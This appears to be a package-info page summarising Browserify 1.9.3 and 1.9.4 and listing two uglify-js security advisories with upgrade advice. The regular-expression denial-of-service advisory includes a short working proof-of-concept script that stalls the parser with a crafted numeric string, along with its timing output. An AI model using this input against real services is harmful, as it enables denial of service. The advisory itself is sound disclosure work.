Browserify is a powerful npm package that allows developers to use Node.js-style modules in the browser. It essentially bundles up your JavaScript code and its dependencies into a single file that can be easily included in a web page. Comparing versions 1.9.3 and 1.9.4 reveals minimal changes from a developer's perspective; both versions share identical dependency and devDependency requirements, including critical tools like resolve, optimist, and coffee-script for module resolution, argument parsing, and CoffeeScript support, respectively. For those building web applications with complex dependencies, Browserify simplifies the process of managing and deploying JavaScript code. Key devDependencies like tap for testing and jade for templating indicate a focus on a well-rounded development workflow. These versions support popular libraries, underscored by the presence of jquery-browserify for seamless jQuery integration in a browserified environment. The update from 1.9.3 to 1.9.4 mainly involves internal refinements rather than significant alterations to features or APIs visible to end-users. The critical distinction to notice lies in the release dates signifying that version 1.9.4 integrates any improvements and internal bug fixes made up until February 13, 2012, compared to January 26, 2012, for version 1.9.3. Updating to the newest, relatively later version is recommended for benefiting from any potential improvements.
All the vulnerabilities related to the version 1.9.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.